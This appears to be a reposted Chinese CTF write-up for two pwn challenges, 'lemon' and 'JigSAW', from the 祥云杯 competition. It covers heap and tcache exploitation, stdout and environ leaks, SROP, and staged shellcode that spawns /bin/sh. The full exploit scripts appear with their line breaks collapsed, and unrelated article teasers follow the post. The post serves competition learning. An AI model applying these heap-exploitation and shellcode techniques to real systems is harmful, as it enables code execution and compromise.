当前位置: 首页 > news >正文

祥云杯部分pwn的wp

lemon

主要问题是2.26版本下, 未控制好指针导致任意写

数据结构如下:

lemon_name:
在这里插入图片描述
lemon_content:
在这里插入图片描述

主要可利用的函数是color:

在这里插入图片描述
里的buf是指lemon_name结构, 所以可以控制指针lemon_addr的指向了, 因为只能用一次所以想控制整个tcache结构
其它一点可利用的函数:
开头的一次welcome:
在这里插入图片描述
虽然是有rand, 但无随机数种子, 所以是固定值, z3一把🔒!
eat函数: 可以打印chunkaddr第四字节, 用于配合后面分配堆块

整体思路:

利用color控制lemon_addr指向tcache的地址, 然后用一次释放一次可以做到一直控制tcache, 第一次使用可以设置tcache某些块数量达到7, 从而生成unsortedbin, 虽然无法直接打印, 但是使用particular write+爆破可以让chunk申请到_IO_2_1_stdout中, 然后泄露libc, 之后再以类似操作用environ打印出栈基址, 配合之前的泄露获取stack地址, 最后再用io即可打印出flag

难点:

多了个类似ptmalloc的检测在分配完成之后, 导致使用free_hook等充满难度:
在这里插入图片描述

exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from z3 import *io=process('./lemon_pwn')
libc = ELF('./libc/libc-2.26.so')
context.log_level = 'debug'def resolve():x=BitVec('x', 33)x=(x>>16)^x|((3*x-(x>>16))&0xffffffff)&(x/(x>>16))s=Solver()s.add(x^0x6b8b4567==0x13b6db38)print s.check()result=s.model()print resultdef add(index,name,length,context='a'):io.sendlineafter('choice >>> ','1')io.sendlineafter('index of your lemon: \n',str(index))io.sendafter('name your lemon: \n',name)io.sendlineafter('length of message for you lemon: \n',str(length))if length <= 0x400:io.sendafter('message: \n',context)def eat(index):io.sendlineafter('choice >>> ','2')io.sendlineafter('index of your lemon : \n',str(index))def throw(index): io.sendlineafter('choice >>> ','3')io.sendlineafter('index of your lemon : \n',str(index))def color(index,context):io.sendlineafter('choice >>> ','4')io.sendlineafter('index of your lemon  : \n',str(index))io.sendafter('draw and color!\n',context)def exp():io.sendlineafter('me?\n','yes')io.sendlineafter(' number: \n',p32(0x4a46bd98)+p8(1))io.recvuntil('first: \n')io.sendline('/bin/sh')add(1,'wwww\n',0x30)add(2,'a',0x90)add(3,'a',0x60)add(0,'wwww\n',0x20)#add(3,'a\n',944,'a\n')#add(3,'a\n',16,'a\n')eat(1)io.recvuntil('eat eat eat ')addr=int(io.recv(5))print(hex(addr))color(1,'b'*0x10+p32(0x40)+p32(1)+p16(addr-0x250))''' control all tc'''throw(3)throw(1)add(1,'a',0x240,p64(0)+p8(7)+p8(0)*0x37)throw(2)throw(1)add(1,'a',0x240,p64(0)*13+p16(addr+0xd0))add(2,'a',0x60)throw(1)add(1,'a\n',0x240,p64(0)*13+p16(0x86ed))'''boom!'''add(2,'a\n',96,'a'*0x33+p64(0xfbad1887)+p64(0)*3+'\x88')#gdb.attach(io)stdin=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))libc_base = stdin-libc.symbols['_IO_2_1_stdin_']stdout = libc_base+libc.symbols['_IO_2_1_stdout_']print(hex(libc_base))environ = libc_base+libc.symbols['_environ']throw(1)add(1,'a',0x240,p64(0)*13+p64(stdout-0x33))throw(0)#gdb.attach(io, '''b *$rebase(0x1106)''')add(2,'a',104,'a'*0x33+p64(0xfbad1887)+p64(0)*3+p64(environ)+p64(environ+8))stack=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x180print(hex(stack))add(0,'b',48,'a')throw(1)add(1,'a',0x240,p64(0)*13+p64(stdout-0x33))throw(0)add(2,'a',104,'a'*0x33+p64(0xfbad1887)+p64(0)*3+p64(stack-4)+p64(stack+0x28))#gdb.attach(io)io.interactive()while 1:try:#io=process('./lemon_pwn')#io = remote('47.104.70.90',34524)exp()except:io.close()

其它唧唧歪歪:

如果没有tc怎么办捏? 伪造大小构造unsortedbin后多次构造出doublefree的指针然后打main_arena-0x33的位置(因为0x7f是可以过程序的检测), 在main_arena处再次伪造fastbin上的指针和size, 指向main_arena+x处, 最后修改topchunk指针指向free_hook-x(值👴忘了), 最后多申请topchunk, 使其滑到__free_hook, 构造srop打(为什么👴会想无tc的情况呢, 因为一开始以为2.26无tc就没改环境, ctmd, 然后这种做法因为2.26有tc, 即使申请到了main_arena处, 也会因为tc的出现而无法伪造fastbin, 原因懒得探究了)
2.23的exp(还未加上爆破的格式~):

#!/usr/bin/env python
# coding=utf-8
from z3 import *
from pwn import *
#context.log_level='debug'
#sh=process(['./libc/ld-2.26.so', './lemon_pwn'], env={'LD_PRELOAD':'./libc/libc-2.26.so'})
#sh=remote('47.104.70.90',34524)
sh=process('./lemon_pwn')
elf=ELF('./lemon_pwn')
#libc=ELF('/home/thu1e/ctf/Pwn/glibc-all-in-one/libs/libc-2.26.so')
libc=elf.libc
context.binary=elfdef resolve():x=BitVec('x', 33)x=(x>>16)^x|((3*x-(x>>16))&0xffffffff)&(x/(x>>16))s=Solver()s.add(x^0x6b8b4567==0x13b6db38)print s.check()result=s.model()print resultdef get(idx, name, length, message=' '):sh.recv()sh.sendline('1')sh.recv()sh.sendline(str(idx))sh.recv()sh.send(name)sh.recv()sh.sendline(str(length))if length <= 0x400:sh.recv()sh.send(message)def eat(idx):sh.recv()sh.sendline('2')sh.recv()sh.sendline(str(idx))def throw(idx):sh.recv()sh.sendline('3')sh.recv()#sh.recvuntil('Input the index of your lemon : \n')sh.sendline(str(idx))def color(idx, content):#gdb.attach(sh, '''b *$rebase(0x1354)''')sh.recv()sh.sendline('4')sh.recv()sh.sendline(str(idx))sh.recv()sh.send(content)#resolve()
sh.recv()
sh.send('yes')
sh.recv()
sh.send(p64(0x1783de662))
sh.send('Thu1e')
sh.recvuntil('Hi Thu1e, your reward is 0x')
stack_low=int(sh.recvuntil('\n').split()[0], 16)
log.success('stack low: '+hex(stack_low))'''
color(-268, p64(0xfbad1800)+p64(0x0)*3+'\x00')
sh.recvuntil(p64(0)*3)
leak_libc=u64(sh.recv(6).ljust(8, '\x00'))
libc_base=leak_libc-0x3c36e0
log.success('libc base: '+hex(libc_base))
'''get(0, 'thule', 0x30)
eat(0)
sh.recvuntil('eat eat eat ')
heap_last_4=int(sh.recvuntil('...')[:-3])
#print str(chunk_last_4)
log.success('chunk last 4bytes: '+hex(heap_last_4))
get(0, 'w', 0x20)
get(1, 'w', 0x20)
color(0, p32(1)*6+p16(heap_last_4+0x100))
#gdb.attach(sh, '''b *$rebase(0x011D1)\n x/8gx $rebase(0x202880)''')
throw(0)
throw(1)
get(3, p64(0)*2, 0x20, p16(heap_last_4+0x160))
get(0, p64(0)*2, 0x100, p64(0)*5+p64(0x31)+p64(0)*2+p32(0x30)+p32(1)+p64(0x61)*10)
#gdb.attach(sh, '''b *$rebase(0xF57)''')
get(2, 'w', 0x30)
get(1, p64(0)*2, 0x30)
throw(0)
#gdb.attach(sh, '''b *$rebase(0xF44)''')  
get(0, p64(0), 0x100, p64(0)*5+p64(0x31)+p64(0)*2+p32(0x5f0)+p32(1)+p16(heap_last_4+0x260))
throw(2)
get(2, p64(0), 0x30, p64(0)*3+p64(0x601))#uaf
throw(3)
get(0, p64(0), 0x440)
get(0, p64(0), 0x20)
get(3, p64(0), 0x20)
get(2, p64(0), 0x400, p64(0)*14*2+p64(0)+p64(0x21))
get(2, p64(0), 0xe0, p64(0)*2*12+p64(0)+p64(0x21))
throw(1)
throw(3)
throw(0)
payload1=p64(0)*11+p64(0x31)+p16(heap_last_4+0xc0+0x30)
get(0, p64(0), 0xa0, payload1)
get(0, p16(heap_last_4+0x750), 0x20, 'xxxxxxxx')
get(0, p64(0), 0x20, p64(0)*2+p32(0xe0)+p32(1)+p16(0x340+heap_last_4))
get(1, p64(0), 0x60)
get(3, p64(0), 0x60)
get(0, p64(0), 0x60, p8(0xed)+p8(0x6)+p8(0xdd))
throw(1)
throw(3)
throw(2)
get(0, p64(0), 0x60, p16(0x480+heap_last_4))
get(2, p64(0), 0x60, p16(0x340+heap_last_4))
get(1, p64(0), 0x60, p16(0x340+heap_last_4))
get(3, p64(0), 0x60, p16(0x340+heap_last_4))
payload2=p8(0)*3+p64(0)*6+p64(0xfbad1800)+p64(0x0)*3+'\x00'
get(2, p64(0), 0x60, payload2)
sh.recvuntil(p32(0xfbad1800))
sh.recv(0x1c)
libc_base=u64(sh.recv(8))-0x3db700
log.success('libc base: '+hex(libc_base))
throw(0)
throw(3)
throw(1)
get(2, p64(0), 0xe0, p64(0x71)*2*14)
get(3, p64(0), 0xe0)
throw(2)
throw(3)
get(0, 'w', 0x60, p16(heap_last_4+0x620))
get(0, 'w', 0x60)
get(0, 'w', 0x60)
get(0, 'w', 0x60, p64(0)+p64(0xf1)+p64(libc_base+libc.sym['__free_hook']))
frame=SigreturnFrame()
frame.rax=0
frame.rdi=(libc_base+libc.sym['__free_hook'])&0xfffffffffffff000
frame.rsi=0x2000
frame.rdx=7
frame.rip=(libc_base+libc.sym['mprotect'])
frame.rsp=(libc_base+libc.sym['__free_hook'])+0x28
get(0, 'w', 0xe0)
#get(0, 'w', 0xe0, p64(libc_base+libc.sym['setcontext']+53))
#get(0, 'w', 0x60, p64(libc_base+0x3dac05))
#[get(0, 'w', 0x60) for i in range(2)]
#payload3=p8(0)*3+p64(0x60)+p64(1)+p64(0)*4+p64(libc_base+0x3dac10)
#get(0, 'w', 0x60, payload3)#get(3, 'w', 0x50, p64(0)*7+p64(libc_base+libc.sym['__free_hook']-0x1098))
#'''unsorted bin 0x70 chunk'''#throw(0)
gdb.attach(sh)
#throw(0)
#get(0, p64(0), 0x80,p64(0)*2*5+p64(0)+p64(0x1f1)+p16(heap_last_4+0x690-0x10))
sh.interactive()

JigSAW:

前言:

因为远程和本地的区别, 导致比赛结束了五分钟才出, 尼玛(但是呆呆说是因为我菜单写的太简洁了, 哭)

漏洞:

初始化时, 输入处是bool类型, 而scanf用的%ld, 可以覆盖掉rand产生的值, 然后给heap7的权限

难点:

分段shellcode写法, 👴写了30分钟, 然后远程调试改了15分钟, 想想就来气

exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
sh=process('./JigSAW')
#sh=remote('47.104.71.220', 10273)
elf=ELF('./JigSAW')
libc=elf.libc
context.binary=elf
context.log_level='debug'def add(idx):sh.recv()sh.sendline('1')sh.recv()sh.sendline(str(idx))def edit(idx, content):sh.recv()sh.sendline('2')sh.recv()sh.sendline(str(idx))sh.recv()sh.send(content)def test(idx):sh.recv()sh.sendline('4')sh.recv()sh.sendline(str(idx))sh.recv()
sh.send('a')
sh.recv()
sh.sendline('85899345920')
#gdb.attach(sh, '''b *$rebase(0x1686)''')
for i in range(4):add(i)shellcode1=asm('''add rdx, 0x20push rdxmov rsi, rspinc raxpush raxpop rdijmp [rsi]''')
shellcode2=asm('''push r8pop rdxsyscallpop r9add r9, 0x20push r9''')
shellcode3=asm('''xor rax, raxpush r11pop rdxxor rdi, rdipush rcxpop rsisyscall''')
print hex(len(shellcode1))
print hex(len(shellcode2))
print hex(len(shellcode3))
edit(0, shellcode1)
edit(1, shellcode2)
edit(2, shellcode3)
#gdb.attach(sh, '''b *$rebase(0x1c41)''')
test(0)
'''
加上下面三行就是打远程的玩意
sleep(3)
sh.recvuntil('Index? :')
sh.recv(2)
'''
heap_addr=u64(sh.recv(6).ljust(8, '\x00'))
log.success('heap addr: '+hex(heap_addr))
shellcode=p8(0)*5+'/bin/sh\x00'*4+p8(0x5e)+p8(0xf)+p8(0x5)
s1='''
mov rax, 59
mov rdi, 0x%x
xor rsi, rsi
xor rdx, rdx
syscall
'''%(heap_addr+0xa)
shellcode+=asm(s1)
sh.send(shellcode)
sh.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.exyb.cn/news/show-35332.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

Unity常见合批失败

测试的时候注意两点&#xff1a; 1 运行起来编辑器在看结果 2 多用framedebuger 3 framedebuger观测结果时主要注意Shadows.RenderShadowMap中的Shadows.RenderJobDir和RenderForward.RenderLoopJob。可以看出来合批主要是在这两个函数中实现作用&#xff0c;分别是描画阴影…...

PHP_JavaScript高级编程(2)

二、今日目标 1、理解什么是面向对象&#xff08;编程&#xff09; 2、掌握定义对象的多种方式&#xff0c;并知道各种方式的优缺点 3、掌握什么是原型对象&#xff08;难点&#xff09; 4、理解原型链的概念&#xff08;或原型链的查找方式&#xff09; 5、掌握什么是回调…...

C++类的讲解(一)(超详细)

C类的讲解 1、面向对象和类的介绍 1&#xff09;面向对象 C语言使用面向过程的编程方式&#xff0c;而C则增加了面向对象的编程方式。 面向过程&#xff1a;分析出解决问题所需要的步骤&#xff0c;然后用函数把这些步骤一步一步实现&#xff0c;使用的时候一个一个依次调用就…...

delphi:临界区对象TCriticalSection(Delphi) 与 TRtlCriticalSection 的区别

临界区对象TCriticalSection(Delphi) 与 TRtlCriticalSection 的区别 TRtlCriticalSection 是一个结构体&#xff0c;在windows单元中定义&#xff1b; 是InitializeCriticalSection&#xff0c;EnterCriticalSection&#xff0c;LeaveCriticalSection, DeleteCriticalSection…...

Linux使用命令行工具管理用户和组

文章目录一、管理用户账户1.查看用户账户2.添加用户账户3.管理用户账户密码4.修改用户账户5.删除用户账户二、管理组账户1.创建组账户2.修改组账户3.删除组账户4.管理组成员一、管理用户账户 1.查看用户账户 Linux没有直接查看用户列表的命令&#xff0c;但是可以查看用户配置…...

直面秋招!花了6个月肝完阿里技术官的笔记

2. ZooKeeper 介绍 2.1. ZooKeeper 由来 正式介绍 ZooKeeper 之前&#xff0c;我们先来看看 ZooKeeper 的由来&#xff0c;还挺有意思的。 下面这段内容摘自《从 Paxos 到 ZooKeeper 》第四章第一节&#xff0c;推荐大家阅读一下&#xff1a; ZooKeeper 最早起源于雅虎研究院…...

大数据技术hadoop核心Flume

大家好&#xff0c;我是曜耀。 这几天曜耀开始复习一下自己的专业课&#xff0c;相信看过的都了解&#xff0c;就是当前热门的大数据技术与应用。我对于这门专业来说&#xff0c;一个特色就是都会&#xff0c;你说Linux我懂&#xff0c;你说java这是基操&#xff0c;python不好…...

K-means笔记

K-means算法 算法过程&#xff1a; 从N个样本数据中随机选取K个对象作为初始的聚类中心。分别计算每个样本到这各个聚类中心的距离&#xff0c;并将对象归于距离最短的聚类群中。所有样本计算完后&#xff0c;重新计算K个聚类中心。与前一次计算得到得聚类中心比较。如果聚类中…...

为什么淘宝搜索宝贝排名先后不一样,原理是什么?

为什么淘宝搜索宝贝排名先后不一样&#xff0c;原理是什么&#xff1f;  商品在淘宝搜索的排名前后是决定商品的展示多少的&#xff0c;当买家搜索了商品的相关关键词之后&#xff0c;就可以根据综合、价格、信用和价格四个不同的方式来进行排序&#xff0c;不同排序的情况下商…...

2021制造业数字化案例大会暨探营海尔数字化创新”在青岛盛大开幕

5月29日&#xff0c;“2021制造业数字化案例大会暨探营海尔数字化创新”活动在青岛成功举办。本次活动由由数字产业创新研究中心主办&#xff0c;锦囊专家、首席数字官、承办&#xff0c;海尔集团、山东省CIO联盟、青岛CIO联盟协办&#xff0c;邀请海尔集团的多位数字化高管和十…...

2021暑假每日一题 【week2 完结】

目录3763. 数字矩阵 【难度: 一般 / 知识点: 思维】3764. 三元数异或 【难度: 一般 / 知识点: 思维 贪心】3767. 最小的值 【难度: 一般 / 思维: 贪心 枚举】3768. 字符串删减【难度: 简单 / 知识点: 模拟】3769. 移动石子 【难度: 简单 / 知识点: 贪心】3763. 数字矩阵 【难度…...

2021牛客暑期多校训练营5

B、Boxes 题目大意 你有nnn个盒子&#xff0c;每个盒子内存在可能有黑球和白球中的一种&#xff0c;打开每个盒子都有一个代价wiw_iwi​&#xff0c;你还有一次询问裁判的机会&#xff0c;当然询问裁判代价为CCC&#xff0c;你需要告诉裁判这nnn个盒子每个盒子里面的球颜色&a…...

MySQL数据库从小白到小菜04

MySQL数据库从小白到小菜04MySQL进阶补充插入聚合查询COUNTSUMAVGMAXMINGROUP BYHAVING联合查询内连接外连接MySQL进阶补充 插入 在表中插入数据时用的是INSERT&#xff0c;在MySQL中&#xff0c;是可以插入(查找结果表)的数据&#xff0c;但是结果表每一列的顺序类型都必须与…...

Java学习路线图//Java、Java学习路线、Java自学、Java经验分享、经验分享、资源分享

今天整理了群里大佬们的实践经验成文为学习路线图&#xff0c;目的是帮助后来者高效的学习Java。 该路线图在保留了文章的核心架构外&#xff0c;也做了一些优化&#xff0c;包括&#xff1a; 更详细的学习内容。更精确的学习时间。优化学习方法&#xff0c;避开前端知识。及…...

Linux高级存储管理

Linux高级存储管理1.lvm定义1.1 逻辑卷2.lvm的建立3.lvm的拉伸4. lvm缩减5.lvm快照6.lvm设备的删除7.管理vdo设备1.lvm定义 1.1 逻辑卷 逻辑卷主要适用于解决存储空间扩展问题&#xff0c;逻辑卷可以利用软件实现无限扩展。LVM可以实现把新的物理分区重组成物理卷&#xff0c…...

2021-06-11 VMware centos7 无线网络配置

一、虚拟机设置 VMware界面最上面&#xff0c;选择虚拟机->设置&#xff1a;将网络连接改为桥接模式&#xff0c;如下图所示&#xff1a; 二、查看主机DNS地址 winR 输入cmd&#xff0c;启动命令行界面&#xff0c;输入ipconfig/all&#xff0c;查看主机DNS服务器地址&#…...

Anime+Vue<svg画线动画>从安装到入门使用

1.安装Anime并全局使用 npm install animejs --saveimport anime from "animejs";2.在阿里巴巴矢量图标库复制&#xff08;或者下载&#xff09;svg到页面中,注意&#xff1a;画线动画svg图标stroke属性必须有颜色值。不然看到个毛线! <template> <div> …...

win10开启局域网远程桌面连接

要求&#xff1a;两台电脑&#xff0c;同时连接在同一局域网。假设是电脑A开启允许局域网远程桌面&#xff0c;然后电脑B连接。这两台电脑需要按照下面的步骤来做。 一、电脑A 1.点击此电脑图标&#xff0c;右键&#xff0c;属性。 2.点击远程设置 3.开启允许被远程连接 4.打开…...

2021多校第二场F 简单计算几何模板(球体相交体积)

简单板子题题意代码题意 [原题链接](https://ac.nowcoder.com/acm/contest/11253/F) 大致题意&#xff1a; 有A&#xff0c;B&#xff0c;C&#xff0c;D四个点&#xff08;三维坐标&#xff09;和k1&#xff0c;k2两个常数 在空间上取一点P1使 |AP1|/|BP1|k1 &#xff08;所有…...

解决Ambari启用Kerberos后HDFS/YARN/SPARK等页面无法打开问题

Ambari启用Kerberos认证后HDFS/YARN/SPARK等相关的组件的web页面都无访问了&#xff0c;提示要登录&#xff0c;401: Authorization required。 Ambari版本2.7.3.0 这个问题&#xff0c;可以通过两个办法解决 配置本机的kerberos认证&#xff0c;登录可以访问的user配置组件服…...

OverScroll介绍

OverScroll OverScroll作用 首先&#xff0c;OverScroll虽然内置了很多看起来像执行滑动效果的方法名&#xff0c;比如startScroll(int, int, int, int),springBack(int, int, int, int, int, int)等等&#xff0c;但是他们并不实际执行滑动效果&#xff0c;只是用于辅助计算…...

TensorFlow项目1——鸢尾花识别(来源:北大曹健老师tensorflow学习视频)

项目1.鸢尾花识别 1.完整代码 import matplotlib.pyplot as plt from sklearn import datasets from pandas import DataFrame import pandas as pd import numpy as np import tensorflow as tf# 数据处理 #1.读取iris数据&#xff08;sklearn已有&#xff09; #2.随机打乱&…...

1.5 异常

什么是异常 异常就是在程序运行期间&#xff0c;因为某些原因导致程序出现了错误的情况。 异常封装了三个重要信息: 类型&#xff0c;信息&#xff0c;行号 异常的简单继承结构 Throwable |- Error 系统级别的错误&#xff0c;无法处理&#xff0c;只能停止运行 |- Excepti…...

使用朴素贝叶斯过滤垃圾邮件

示例&#xff1a;使用朴素贝叶斯对电子邮件进行分类(1) 收集数据&#xff1a;提供文本文件。(2) 准备数据&#xff1a;将文本文件解析成词条向量。 (3) 分析数据&#xff1a;检查词条确保解析的正确性。(4) 训练算法&#xff1a;使用我们之前建立的trainNB0()函数。(5) 测试算法…...

链表反转。

举个例子来分析一下如何实现链表的反转。 链表示例&#xff1a;9—>6—>8—>7—>1—>null。 1&#xff09;首先定义两个指针cur、pre分别指向链表头和链表尾。 2&#xff09;定义一个临时指针&#xff0c;指向cur.next。 3&#xff09;修改cur指针的指向&#x…...

day01_java常识丶环境搭建丶入门程序

Java语言发展历史 Java诞生于SUN&#xff08;Stanford University Network&#xff09;&#xff0c;09年SUN被Oracle&#xff08;甲骨文&#xff09;收购。Java之父是詹姆斯.高斯林(James Gosling)。1996年发布JDK1.0版。 目前最使用最多的版本是Java8。 ​ Java技术体系平台 …...

C++类的讲解(一)(超详细)

C类的讲解 1、面向对象和类的介绍 1&#xff09;面向对象 C语言使用面向过程的编程方式&#xff0c;而C则增加了面向对象的编程方式。 面向过程&#xff1a;分析出解决问题所需要的步骤&#xff0c;然后用函数把这些步骤一步一步实现&#xff0c;使用的时候一个一个依次调用就…...

KNN算法基础教学

目录 1、KNN算法概述 2、什么是knn算法 3、算法原理解析 3.1、通用步骤 3.2、k的取值对预测结果的影响 3.3、k的选取 4、实战应用 &#xff08;癌症检测数据&#xff09; 完整代码&#xff1a; 1、KNN算法概述 KNN可以说是最简单的分类算法之一&#xff0c;同时&#xff0…...

Google Earth Engine(GEE)——容易犯的错误3(请在select之前使用filter )和(用updateMask()代替mask())、组合reducer的使用!

首先过滤再select() 通常&#xff0c;在对集合执行任何其他操作之前&#xff0c;按时间、位置和/或元数据过滤输入集合。在选择性较少的过滤器之前应用更多选择性过滤器。空间和/或时间过滤器通常更具选择性。例如&#xff0c;请注意select()和之前filter()应用&#xff1a; m…...

elasticsearch7 2021.8.24版本可用 ---head插件总是健康状态未连接

特别要注意跨域和discovery.zen.ping.unicast.hosts 要不然&#xff0c;head插件总是健康状态未连接 1.主节点配置文件 [rootes_master ~]# cat /home/wx/elasticsearch-7.9.0/config/elasticsearch.yml cluster.name: ELK-Cluster node.name: elk-node1 # 开启跨域访问支持&…...

dbc2000 注册机|dbc2000 注册码注册机下载

点击下载来源&#xff1a;dbc2000 注册机 dbc2000 注册机是同名源程序软件的注册机软件&#xff0c;该源程序软件是一款应用于数据库搭建以及数据写入的数据库架设工具&#xff0c;它拥有强大的数据写入功能&#xff0c;在作为应用程序使用时&#xff0c;它不仅可以充当数据属性…...

秋招面经第八弹:网易二面-数据开发工程师

秋招第八弹&#xff1a;网易二面-数据开发工程师 写在最前&#xff1a;秋招以来一直在冲&#xff0c;因为事情比较多&#xff0c;对于笔试面试一直没有复盘&#xff0c;现在靠仅存的记忆把面试的一些问题记录下来&#xff0c;尽可能记录出能回忆到的问题&#xff0c;但可能记的…...

安卓课程格子APP

https://download.csdn.net/download/weixin_57836618/73810452 功能演示&#xff1a; 查看所有课程 点击主页面空白处即可添加课程 添加课程之后查看课程 查看双周课程 查看单周课程 6.查看课程详情...

强化学习——格子世界

强化学习——格子世界 项目源码地址&#xff1a;https://gitee.com/infiniteStars/machine-learning-experiment 1. 实验内容 2. 实验代码 import numpy as np import matplotlib.pyplot as plt from matplotlib.table import Table from xml.dom.minidom import Document #手…...

华为机试 - 跳格子游戏

目录 题目描述 输入描述 输出描述 用例 题目解析 算法源码 题目描述 地上共有N个格子&#xff0c;你需要跳完地上所有的格子&#xff0c;但是格子间是有强依赖关系的&#xff0c;跳完前一个格子后&#xff0c;后续的格子才会被开启&#xff0c;格子间的依赖关系由多组st…...

php 爬课程表信息,Ruby爬取教务系统生成课程表

我为什么要虐自己最近觉得课程格子广告越来越多&#xff0c;乱七八糟的东西越来越多&#xff0c;完全失去了一开始的存在价值&#xff0c;并且没有电脑端app&#xff0c;想查看课程必须拿出手机&#xff0c;而我使用电脑频率要比手机高&#xff0c;所以才有了折腾的动力。于是我…...

android 课程表 ui,UICollectionViewLayout实现课程表布局

因为项目中有课程表的相关模块&#xff0c;第一时间想到用UICollectionView。然而后期的需求越来越复杂&#xff0c;每个格子需要展示的内容越来越多&#xff0c;所以不得不寻找合适的解决方案。最后发现自定义UICollectionViewLayout可以实现我的需求。先放效果图&#xff1a;…...

Android自定义View课程表,Android 自定义View课程表表格

自己闲下来时间写的一个课表控件使用的自定义LinearLayout 里面View都是用代码实现的 最终效果如下图 写的可能有问题希望多多指点创建一个自定义LinearLayout 控件用来装载课程的信息和课程的周数 和节数大概的布局三这样的根据上面的看来觉得总体布局我分了两个 上面的星期是…...

java课程设计设计_java课程设计

1. 团队课程设计博客链接https://www.cnblogs.com/choco1ate/p/12172223.html2.本组课题及本人任务本组课题&#xff1a;泡泡堂(炸弹人)游戏本人任务&#xff1a;Box类(游戏地图中的每个方格)Bomb类(游戏过程中的)游戏玩家输赢信息的文件储存3.需求分析Box类&#xff1a;该类为…...

《课程格子》的一个笔试题目

题目如下&#xff0c;感觉很适合喜欢琢磨的程序员&#xff0c;也是考验你编码风格的时候。 Lets make a tower defense game&#xff08;塔防游戏):1. You have 1 tower, with H health and D dps(damage per second).2. There are n attackers, each with h_i health and d_i …...

Android仿照超级课程表 or 课程格子 一键提取课表功能(方正系统)

参考文章http://blog.csdn.net/sbsujjbcy ,本文仿照‘ 安卓弟 提供的android 项目实战——打造超级课程表一键提取课表功能文章&#xff0c;对他的代码进行了修改和补充&#xff0c;为什么要修改呢&#xff1f;原因是安卓弟的那个源码版本过于老旧&#xff0c;很多方法已经过…...

Jadx 打开闪退

好久没用jadx&#xff0c;今天打开一直闪退。去下载最新版本也不行。然后想起来最近把java 版本升级到了11。把环境变量改成8就好了。...

Jadx的安装

Jadx的安装 注意&#xff1a;下载jadx之前&#xff0c;需要先配置好java的环境 1.下载地址&#xff1a;https://github.com/skylot/jadx 2.一个是发布版&#xff0c;另一个是最新版&#xff0c;博主选择最新版&#xff0c;下载右侧的zip压缩版本&#xff1a; 下载完之后&a…...

如何修改jadx的默认内存

1.使用记事本或者notpad打开jadx-gui.bat。 2.找到 set DEFAULT_JVM_OPTS"-Xms128M" "-Xmx4g" 。 3.将其修改为 set DEFAULT_JVM_OPTS"-Xms128M" "-Xmx6g" 后保存就ok了。...

jadx卡死解决方案

set JAVA_OPTS-server -Xms1024m -Xmx8192m -XX:PermSize256m -XX:MaxPermSize1024m...

jadx 1.4.5反编译包不全

jadx 1.4.5 反编译报以下异常&#xff1a; ERROR: Failed to read zip entry: classes.dex jadx.plugins.input.dex.DexException: Bad checksum: 0x872f2172, expected: 0x378b7da01、在启动的时候加-Pdex-input.verify-checksumno 即使用cmd窗口执行 jadx-gui.bat -Pdex-in…...

记录一下jadx的误报

用jadx逆向某app为java代码时遇到个奇怪的类import anet.channel.entity.ConnType;各种搜索也不确定是什么用的&#xff0c;最后大概确定是阿里开发的跟网络相关的库&#xff0c;大部分用在国内阿里系的产品上。 但还有个问题就是发现 //忽略语法 import anet.channel.entity.…...

windows调整jadx的使用内存大小

下载地址&#xff1a;https://github.com/skylot/jadx 下载及安装教程都在其中 解压后找到bin目录下的jadx-gui.bat&#xff08;当前版本1.4.3&#xff09; 记事本打开文件&#xff0c;将该文本全部替换成如下文本&#xff08;如果不想配置的话&#xff0c;默认8g最大内存&am…...

jadx-gui 重命名功能

jad-gui 是大家常用的一款反编译工具&#xff0c;其中有些小使用技巧可以帮助大家更快的“学习”知识。 安装 方法参考项目GitHub主页 重命名 最新的 1.2.0 版本支持了方法、类、字段的重命名&#xff0c;这是一个非常有用的功能&#xff0c;之前反编译出来的都是混淆后的名…...

Mac安装Jadx反编译工具

Mac安装Jadx反编译工具 准备工作 Mac一台 步骤 01 clone 仓库 编译 mkdir jadx #创建 jadx目录 git clone https://github.com/skylot/jadx.git #将存储库克隆到目录 cd jadx # 进入 jadx目录 ./gradlew dist # 执行编译 这个需要稍微等待一下命令效果图 02 运行使用jad…...